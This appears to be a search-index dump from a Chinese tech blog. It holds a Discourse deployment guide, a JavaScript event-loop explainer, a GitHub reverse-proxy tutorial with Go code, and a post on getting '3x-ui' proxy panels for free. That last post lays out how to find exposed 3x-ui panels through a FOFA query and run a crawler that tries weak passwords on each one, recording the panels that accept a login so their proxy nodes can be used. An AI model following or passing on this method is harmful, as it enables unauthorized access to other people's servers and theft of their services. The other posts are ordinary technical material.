style=\"color:#ae81ff\"\u003e/opt/bitnami/scripts/discourse-sidekiq/run.sh\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#75715e\"\u003e# 用户和站点配置\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003eDISCOURSE_HOST=example.com\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003eDISCOURSE_USERNAME=siteadmin\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003eDISCOURSE_PASSWORD=siteadmin12345\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003eDISCOURSE_EMAIL=siteadmin@gmail.com\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#75715e\"\u003e# 数据库连接配置\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003eDISCOURSE_DATABASE_HOST=postgresql\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003eDISCOURSE_DATABASE_PORT_NUMBER=5432\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003eDISCOURSE_DATABASE_USER=ex_discourse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003eDISCOURSE_DATABASE_PASSWORD=user12345\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003eDISCOURSE_DATABASE_NAME=example_discourse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#75715e\"\u003e# Redis 连接配置\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003eDISCOURSE_REDIS_HOST=redis\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003eDISCOURSE_REDIS_PORT_NUMBER=6379\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003eDISCOURSE_REDIS_PASSWORD=redis12345\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#75715e\"\u003e# SMTP\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003eDISCOURSE_SMTP_HOST=smtp.mailgun.org\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003eDISCOURSE_SMTP_PORT=587\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003eDISCOURSE_SMTP_USER=邮箱用户名\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003eDISCOURSE_SMTP_PASSWORD=邮箱密码\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003eDISCOURSE_SMTP_PROTOCOL=tls或ssl\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003eDISCOURSE_SMTP_AUTH=login\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003evolumes\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003epostgresql_data\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edriver\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003elocal\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003eredis_data\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edriver\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003elocal\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003ediscourse_data\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edriver\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003elocal\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003esidekiq_data\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edriver\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003elocal\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e需要修改的部分。配置文件中两份都要改\u003c/p\u003e","title":"手把手教你部署Discourse"},{"content":"正式开始 首先我们要先找到互联网上搭建了3x-ui的网站，可以使用 网络空间测绘，网络空间安全搜索引擎，网络空间搜索引擎，安全态势感知 - FOFA网络空间测绘系统\n进入后我们搜索：app=\u0026quot;3x-ui\u0026quot; \u0026amp;\u0026amp; region=\u0026quot;HK\u0026quot; 即寻找3x-ui网站，并且地区为中国香港的\n接下来我们制作一个TXT文档，里面全部都是搭建了3x-ui的网站，如图\n然后我们就要找到3x-ui的登录原理\n通过正常登录可知，他会请求 /login 并且以 application/x-www-form-urlencoded; charset=UTF-8 格式发送请求体\n接下来让我们查看请求体，非常简单！只有一个 username 和 password\n然后让我们在Postman中模拟请求\u0026hellip;完全没有问题！\n接下来就可以编写爬虫了！\n大致原理：依次请求TXT内的网站，并且模拟登录，如果弱口令登录成功，并且网站返回登录成功的JSON，就将它记录到另一个TXT。循环结束后就能得到非常非常多的白嫖的节点了！\n","permalink":"https://blog.2x.nz/posts/free-3xui/","summary":"\u003ch1 id=\"正式开始\"\u003e正式开始\u003c/h1\u003e\n\u003cp\u003e首先我们要先找到互联网上搭建了3x-ui的网站，可以使用 \u003ca href=\"https://fofa.info/\"\u003e网络空间测绘，网络空间安全搜索引擎，网络空间搜索引擎，安全态势感知 - FOFA网络空间测绘系统\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"2025-05-01-22-14-32-image.webp\" loading=\"lazy\" src=\"/posts/free-3xui/img/2025-05-01-22-14-32-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e进入后我们搜索：\u003ccode\u003eapp=\u0026quot;3x-ui\u0026quot; \u0026amp;\u0026amp; region=\u0026quot;HK\u0026quot;\u003c/code\u003e 即寻找3x-ui网站，并且地区为中国香港的\u003c/p\u003e\n\u003cp\u003e接下来我们制作一个TXT文档，里面全部都是搭建了3x-ui的网站，如图\u003cimg loading=\"lazy\" src=\"/posts/free-3xui/img/8b9390ec-61b0-4f78-8d76-aa2b7cb136e5.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e然后我们就要找到3x-ui的登录原理\u003c/p\u003e\n\u003cp\u003e通过正常登录可知，他会请求 \u003ccode\u003e/login\u003c/code\u003e 并且以 \u003ccode\u003eapplication/x-www-form-urlencoded; charset=UTF-8\u003c/code\u003e 格式发送请求体\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"2025-05-01-22-10-39-image.webp\" loading=\"lazy\" src=\"/posts/free-3xui/img/2025-05-01-22-10-39-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e接下来让我们查看请求体，非常简单！只有一个 \u003ccode\u003eusername\u003c/code\u003e 和 \u003ccode\u003epassword\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"2025-05-01-22-12-14-image.webp\" loading=\"lazy\" src=\"/posts/free-3xui/img/2025-05-01-22-12-14-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e然后让我们在Postman中模拟请求\u0026hellip;完全没有问题！\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"2025-05-01-22-12-46-f6cec50c16c94c50acc0e23150edde22.webp\" loading=\"lazy\" src=\"/posts/free-3xui/img/2025-05-01-22-12-46-f6cec50c16c94c50acc0e23150edde22.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e接下来就可以编写爬虫了！\u003c/p\u003e\n\u003cp\u003e大致原理：依次请求TXT内的网站，并且模拟登录，如果弱口令登录成功，并且网站返回登录成功的JSON，就将它记录到另一个TXT。循环结束后就能得到非常非常多的白嫖的节点了！\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"2025-05-01-22-16-13-image.webp\" loading=\"lazy\" src=\"/posts/free-3xui/img/2025-05-01-22-16-13-image.webp\"\u003e\u003c/p\u003e","title":"白嫖免费的3x-ui面板"},{"content":"引言：以下JS代码运行的结果是什么？ function a() { console.log(\u0026#34;1\u0026#34;); Promise.resolve().then(() =\u0026gt; { console.log(\u0026#34;2\u0026#34;); }); } setTimeout(function () { console.log(\u0026#34;3\u0026#34;); Promise.resolve().then(a); }, 0); Promise.resolve().then(function () { console.log(\u0026#34;4\u0026#34;); }); console.log(\u0026#34;5\u0026#34;); 浏览器是如何按部就班执行命令的？ 浏览器的所有操作都由渲染主线程执行，渲染主线程将创建一个无限循环的任务执行已有的任务，当渲染主线程无任务时将从消息队列中拿取新的任务执行。所有任务遵循先来后到，不允许插队执行\n视频分析：\n","permalink":"https://blog.2x.nz/posts/browser-run-js/","summary":"\u003ch1 id=\"引言以下js代码运行的结果是什么\"\u003e引言：以下JS代码运行的结果是什么？\u003c/h1\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-js\" data-lang=\"js\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003efunction\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003ea\u003c/span\u003e() {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#a6e22e\"\u003econsole\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003elog\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;1\u0026#34;\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    Promise.\u003cspan style=\"color:#a6e22e\"\u003eresolve\u003c/span\u003e().\u003cspan style=\"color:#a6e22e\"\u003ethen\u003c/span\u003e(() =\u0026gt; {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#a6e22e\"\u003econsole\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003elog\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;2\u0026#34;\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    });\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003esetTimeout\u003c/span\u003e(\u003cspan style=\"color:#66d9ef\"\u003efunction\u003c/span\u003e () {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#a6e22e\"\u003econsole\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003elog\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;3\u0026#34;\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    Promise.\u003cspan style=\"color:#a6e22e\"\u003eresolve\u003c/span\u003e().\u003cspan style=\"color:#a6e22e\"\u003ethen\u003c/span\u003e(\u003cspan style=\"color:#a6e22e\"\u003ea\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}, \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePromise.\u003cspan style=\"color:#a6e22e\"\u003eresolve\u003c/span\u003e().\u003cspan style=\"color:#a6e22e\"\u003ethen\u003c/span\u003e(\u003cspan style=\"color:#66d9ef\"\u003efunction\u003c/span\u003e () {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#a6e22e\"\u003econsole\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003elog\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;4\u0026#34;\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e});\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003econsole\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003elog\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;5\u0026#34;\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch1 id=\"浏览器是如何按部就班执行命令的\"\u003e浏览器是如何按部就班执行命令的？\u003c/h1\u003e\n\u003cp\u003e浏览器的所有操作都由\u003cstrong\u003e渲染主线程\u003c/strong\u003e执行，渲染主线程将创建一个无限循环的任务执行已有的任务，当渲染主线程无任务时将从\u003cstrong\u003e消息队列\u003c/strong\u003e中拿取新的任务执行。\u003cstrong\u003e所有任务遵循先来后到，不允许插队执行\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e视频分析：\u003c/p\u003e\n\u003ciframe src=\"//player.bilibili.com/player.html?isOutside=true\u0026aid=114398232385591\u0026bvid=BV1VpLJzPEBp\u0026cid=29606019473\u0026p=1\" scrolling=\"no\" border=\"0\" frameborder=\"no\" framespacing=\"0\" allowfullscreen=\"true\"\u003e\u003c/iframe\u003e","title":"浏览器JS运行原理"},{"content":"引言 由于网络原因，国内访问Github经常遇到各种问题。本文将带你从原理到实践，搭建一个属于自己的Github全站反向代理。\n为什么不能只用透明代理？ 针对Github这样的网站，我们无法仅使用一个简单的透明反向代理指向 github.com 来解决，原因有两点：\n1. 外域依赖问题 Github官网有许多外域依赖，比如 raw.githubusercontent.com、avatars.githubusercontent.com 等。如果只代理主域名，这些资源请求会直接访问原站，导致加载失败。\n2. 钓鱼风险 注意！直接反代主流网站后，不久你的网站就会被Cloudflare标记为钓鱼站点，因为你原封不动的克隆了人家站点并且 没有显式屏蔽登录页面。\n解决方案：透明代理 + HTML覆写 核心思路 我们需要实现两个关键功能：\n透明代理：将请求转发到Github服务器 HTML覆写：重写Github返回的HTML，将其中的外域改为我们自己的域 请求流程对比 原始流程：\n用户 -\u0026gt; github.com -\u0026gt; raw.githubusercontent.com（被github.com请求） 代理流程：\n用户 -\u0026gt; gh.072103.xyz -\u0026gt; raw-githubusercontent-com.072103.xyz（被gh.072103.xyz请求） 对于 gh.072103.xyz 的请求由代理服务转发到 github.com，而针对于 raw-githubusercontent-com.072103.xyz 的请求则转发到 raw.githubusercontent.com。\n域名映射配置 你需要配置类似这样的域名映射：\nconst domain_mappings = { \u0026#39;github.com\u0026#39;: \u0026#39;gh.\u0026#39;, \u0026#39;avatars.githubusercontent.com\u0026#39;: \u0026#39;avatars-githubusercontent-com.\u0026#39;, \u0026#39;github.githubassets.com\u0026#39;: \u0026#39;github-githubassets-com.\u0026#39;, \u0026#39;collector.github.com\u0026#39;: \u0026#39;collector-github-com.\u0026#39;, \u0026#39;api.github.com\u0026#39;: \u0026#39;api-github-com.\u0026#39;, \u0026#39;raw.githubusercontent.com\u0026#39;: \u0026#39;raw-githubusercontent-com.\u0026#39;, \u0026#39;gist.githubusercontent.com\u0026#39;: \u0026#39;gist-githubusercontent-com.\u0026#39;, \u0026#39;github.io\u0026#39;: \u0026#39;github-io.\u0026#39;, \u0026#39;assets-cdn.github.com\u0026#39;: \u0026#39;assets-cdn-github-com.\u0026#39;, \u0026#39;cdn.jsdelivr.net\u0026#39;: \u0026#39;cdn.jsdelivr-net.\u0026#39;, \u0026#39;securitylab.github.com\u0026#39;: \u0026#39;securitylab-github-com.\u0026#39;, \u0026#39;www.githubstatus.com\u0026#39;: \u0026#39;www-githubstatus-com.\u0026#39;, \u0026#39;npmjs.com\u0026#39;: \u0026#39;npmjs-com.\u0026#39;, \u0026#39;git-lfs.github.com\u0026#39;: \u0026#39;git-lfs-github-com.\u0026#39;, \u0026#39;githubusercontent.com\u0026#39;: \u0026#39;githubusercontent-com.\u0026#39;, \u0026#39;github.global.ssl.fastly.net\u0026#39;: \u0026#39;github-global-ssl-fastly-net.\u0026#39;, \u0026#39;api.npms.io\u0026#39;: \u0026#39;api-npms-io.\u0026#39;, \u0026#39;github.community\u0026#39;: \u0026#39;github-community.\u0026#39; }; 假如你的域名为 abc.com，你需要将以下子域名绑定到你的代理服务：\ngh.abc.com avatars-githubusercontent-com.abc.com raw-githubusercontent-com.abc.com \u0026hellip;等等 防钓鱼措施 我们需要找到原站点的所有登录页逐一屏蔽，对于Github.com，我们需要屏蔽：\n/ /login /signup copilot\n你可以将其直接导向404，或者重定向到另外的网站，只要不让你的用户能在你的反代网站上登录就可以。\n部署方案 下面介绍四种部署方案，按照部署难度从简单到复杂排序：\n方案一：Vercel Function（最简单） 嫌弃CF Worker不够快？那就试试Vercel Function！\n优点 部署最简单，一键完成 速度快 与GitHub集成良好 部署步骤 克隆 afoim/VercelFunctionGithubProxy\n部署到Vercel\n绑定你自己的域名 根据你的域名修改域名映射配置，绑定所有子域名即可使用 方案二：Cloudflare Worker（推荐） 教程视频：https://www.bilibili.com/video/BV1jGd6YpE8z\n优点 免费 无需服务器 全球CDN加速 部署简单 部署步骤 进入 dash.cloudflare.com\n创建新Worker，选择Hello World模板\n前往 GitHub - afoim/GithubSiteProxyForCloudflareWorker 复制 worker.js 代码粘贴到你的Worker\n根据你的域名修改域名映射配置\n将所有需要的子域名绑定到你的Worker\n访问 gh.你的域名 即可使用\n完整代码 参见Github仓库：https://github.com/afoim/GithubSiteProxyForCloudflareWorker\n方案三：EdgeOne Pages 适合国内用户，访问速度更快\n优点 国内访问速度优秀 免费额度充足 部署相对简单 部署步骤 1. 下载源码 源码：afoim/EdgeOnePagesFunctionGithubProxy\n下载 https://r2.072103.xyz/github-eopf.zip 并解压\n目录结构：\n2. 修改域名配置 打开任意一个JS文件，更改域名映射配置。注意：每个JS文件的内容都需要修改！\n3. 上传到EdgeOne Pages 4. 绑定域名 按照前缀绑定所有需要的子域名：\n为什么目录结构这么特殊？ index.html：空的HTML文件，因为不放就404 index.js：负责 / 路由 [[default.js]]：负责 /* 路由 方案四：VPS + Go（最灵活） 适合有VPS且希望完全掌控的用户，部署相对复杂\n优点 完全自主可控 不依赖第三方平台 可以自定义更多功能 部署步骤 1. 安装Golang运行时 apt install golang 2. 创建项目目录 创建一个文件夹，放置 main.go：\npackage main import ( \u0026#34;fmt\u0026#34; \u0026#34;io\u0026#34; \u0026#34;log\u0026#34; \u0026#34;net/http\u0026#34; \u0026#34;net/url\u0026#34; \u0026#34;regexp\u0026#34; \u0026#34;strings\u0026#34; \u0026#34;time\u0026#34; ) // 域名映射配置 var domainMappings = map[string]string{ \u0026#34;github.com\u0026#34;: \u0026#34;gh.\u0026#34;, \u0026#34;avatars.githubusercontent.com\u0026#34;: \u0026#34;avatars-githubusercontent-com.\u0026#34;, \u0026#34;github.githubassets.com\u0026#34;: \u0026#34;github-githubassets-com.\u0026#34;, \u0026#34;collector.github.com\u0026#34;: \u0026#34;collector-github-com.\u0026#34;, \u0026#34;api.github.com\u0026#34;: \u0026#34;api-github-com.\u0026#34;, \u0026#34;raw.githubusercontent.com\u0026#34;: \u0026#34;raw-githubusercontent-com.\u0026#34;, \u0026#34;gist.githubusercontent.com\u0026#34;: \u0026#34;gist-githubusercontent-com.\u0026#34;, \u0026#34;github.io\u0026#34;: \u0026#34;github-io.\u0026#34;, \u0026#34;assets-cdn.github.com\u0026#34;: \u0026#34;assets-cdn-github-com.\u0026#34;, \u0026#34;cdn.jsdelivr.net\u0026#34;: \u0026#34;cdn.jsdelivr-net.\u0026#34;, \u0026#34;securitylab.github.com\u0026#34;: \u0026#34;securitylab-github-com.\u0026#34;, \u0026#34;www.githubstatus.com\u0026#34;: \u0026#34;www-githubstatus-com.\u0026#34;, \u0026#34;npmjs.com\u0026#34;: \u0026#34;npmjs-com.\u0026#34;, \u0026#34;git-lfs.github.com\u0026#34;: \u0026#34;git-lfs-github-com.\u0026#34;, \u0026#34;githubusercontent.com\u0026#34;: \u0026#34;githubusercontent-com.\u0026#34;, \u0026#34;github.global.ssl.fastly.net\u0026#34;: \u0026#34;github-global-ssl-fastly-net.\u0026#34;, \u0026#34;api.npms.io\u0026#34;: \u0026#34;api-npms-io.\u0026#34;, \u0026#34;github.community\u0026#34;: \u0026#34;github-community.\u0026#34;, } // 需要重定向的路径 var redirectPaths = []string{\u0026#34;/\u0026#34;, \u0026#34;/login\u0026#34;, \u0026#34;/signup\u0026#34;, \u0026#34;/copilot\u0026#34;} // 检查路径是否需要重定向 func shouldRedirect(path string) bool { for _, p := range redirectPaths { if path == p { return true } } return false } // 获取代理前缀 func getProxyPrefix(host string) string { if strings.HasPrefix(host, \u0026#34;gh.\u0026#34;) { return \u0026#34;gh.\u0026#34; } for _, prefix := range domainMappings { if strings.HasPrefix(host, prefix) { return prefix } } return \u0026#34;\u0026#34; } // 根据前缀获取目标域名 func getTargetHost(prefix string) string { for original, p := range domainMappings { if p == prefix { return original } } return \u0026#34;\u0026#34; } // 处理响应内容，替换域名引用 func modifyResponse(body []byte, contentType, hostPrefix, currentHostname string) []byte { if !strings.Contains(contentType, \u0026#34;text/\u0026#34;) \u0026amp;\u0026amp; !strings.Contains(contentType, \u0026#34;application/json\u0026#34;) \u0026amp;\u0026amp; !strings.Contains(contentType, \u0026#34;application/javascript\u0026#34;) \u0026amp;\u0026amp; !strings.Contains(contentType, \u0026#34;application/xml\u0026#34;) { return body } text := string(body) domainSuffix := currentHostname[len(hostPrefix):] for originalDomain, proxyPrefix := range domainMappings { fullProxyDomain := proxyPrefix + domainSuffix text = strings.ReplaceAll(text, \u0026#34;https://\u0026#34;+originalDomain, \u0026#34;https://\u0026#34;+fullProxyDomain) text = strings.ReplaceAll(text, \u0026#34;http://\u0026#34;+originalDomain, \u0026#34;https://\u0026#34;+fullProxyDomain) text = strings.ReplaceAll(text, \u0026#34;//\u0026#34;+originalDomain, \u0026#34;//\u0026#34;+fullProxyDomain) text = strings.ReplaceAll(text, `\u0026#34;`+originalDomain+`\u0026#34;`, `\u0026#34;`+fullProxyDomain+`\u0026#34;`) text = strings.ReplaceAll(text, `\u0026#39;`+originalDomain+`\u0026#39;`, `\u0026#39;`+fullProxyDomain+`\u0026#39;`) } if hostPrefix == \u0026#34;gh.\u0026#34; { text = strings.ReplaceAll(text, `\u0026#34;/`, `\u0026#34;https://`+currentHostname+`/`) text = strings.ReplaceAll(text, `\u0026#39;/`, `\u0026#39;https://`+currentHostname+`/`) } return []byte(text) } // 处理请求 func handleRequest(w http.ResponseWriter, r *http.Request) { currentHost := r.Host if shouldRedirect(r.URL.Path) { http.Redirect(w, r, \u0026#34;https://www.gov.cn\u0026#34;, http.StatusFound) return } hostPrefix := getProxyPrefix(currentHost) if hostPrefix == \u0026#34;\u0026#34; { http.Error(w, \u0026#34;Domain not configured for proxy\u0026#34;, http.StatusNotFound) return } targetHost := getTargetHost(hostPrefix) if targetHost == \u0026#34;\u0026#34; { http.Error(w, \u0026#34;Domain not configured for proxy\u0026#34;, http.StatusNotFound) return } pathname := r.URL.Path re1 := regexp.MustCompile(`(/[^/]+/[^/]+/(?:latest-commit|tree-commit-info)/[^/]+)/https%3A//[^/]+.*`) pathname = re1.ReplaceAllString(pathname, \u0026#34;$1\u0026#34;) re2 := regexp.MustCompile(`(/[^/]+/[^/]+/(?:latest-commit|tree-commit-info)/[^/]+)/https://[^/]+.*`) pathname = re2.ReplaceAllString(pathname, \u0026#34;$1\u0026#34;) re3 := regexp.MustCompile(`(/[^/]+/[^/]+/(?:latest-commit|tree-commit-info)/[^/]+)/https:/[^/]+.*`) pathname = re3.ReplaceAllString(pathname, \u0026#34;$1\u0026#34;) targetURL := \u0026amp;url.URL{ Scheme: \u0026#34;https\u0026#34;, Host: targetHost, Path: pathname, RawQuery: r.URL.RawQuery, } req, err := http.NewRequest(r.Method, targetURL.String(), r.Body) if err != nil { http.Error(w, fmt.Sprintf(\u0026#34;Failed to create request: %v\u0026#34;, err), http.StatusInternalServerError) return } for key, values := range r.Header { for _, value := range values { req.Header.Add(key, value) } } req.Header.Set(\u0026#34;Host\u0026#34;, targetHost) req.Header.Set(\u0026#34;Referer\u0026#34;, targetURL.String()) req.Header.Set(\u0026#34;Accept-Encoding\u0026#34;, \u0026#34;identity\u0026#34;) client := \u0026amp;http.Client{ Timeout: 30 * time.Second, } resp, err := client.Do(req) if err != nil { http.Error(w, fmt.Sprintf(\u0026#34;Proxy Error: %v\u0026#34;, err), http.StatusBadGateway) return } defer resp.Body.Close() body, err := io.ReadAll(resp.Body) if err != nil { http.Error(w, fmt.Sprintf(\u0026#34;Failed to read response: %v\u0026#34;, err), http.StatusInternalServerError) return } contentType := resp.Header.Get(\u0026#34;Content-Type\u0026#34;) modifiedBody := modifyResponse(body, contentType, hostPrefix, currentHost) for key, values := range resp.Header { if key == \u0026#34;Content-Encoding\u0026#34; || key == \u0026#34;Content-Length\u0026#34; { continue } for _, value := range values { w.Header().Add(key, value) } } w.Header().Set(\u0026#34;Access-Control-Allow-Origin\u0026#34;, \u0026#34;*\u0026#34;) w.Header().Set(\u0026#34;Access-Control-Allow-Credentials\u0026#34;, \u0026#34;true\u0026#34;) w.Header().Set(\u0026#34;Cache-Control\u0026#34;, \u0026#34;public, max-age=14400\u0026#34;) w.Header().Del(\u0026#34;Content-Security-Policy\u0026#34;) w.Header().Del(\u0026#34;Content-Security-Policy-Report-Only\u0026#34;) w.Header().Del(\u0026#34;Clear-Site-Data\u0026#34;) w.Header().Set(\u0026#34;Content-Length\u0026#34;, fmt.Sprintf(\u0026#34;%d\u0026#34;, len(modifiedBody))) w.WriteHeader(resp.StatusCode) w.Write(modifiedBody) } func main() { http.HandleFunc(\u0026#34;/\u0026#34;, handleRequest) port := \u0026#34;:8080\u0026#34; log.Printf(\u0026#34;GitHub代理服务器启动在端口 %s\u0026#34;, port) log.Printf(\u0026#34;请确保你的域名已正确配置并指向此服务器\u0026#34;) if err := http.ListenAndServe(port, nil); err != nil { log.Fatal(\u0026#34;服务器启动失败:\u0026#34;, err) } } 3. 创建 go.mod module github-proxy go 1.19 4. 运行服务 go run . 输出以下日志即成功：\nroot@localhost:~/go_proxy# go run . 2025/06/20 23:13:17 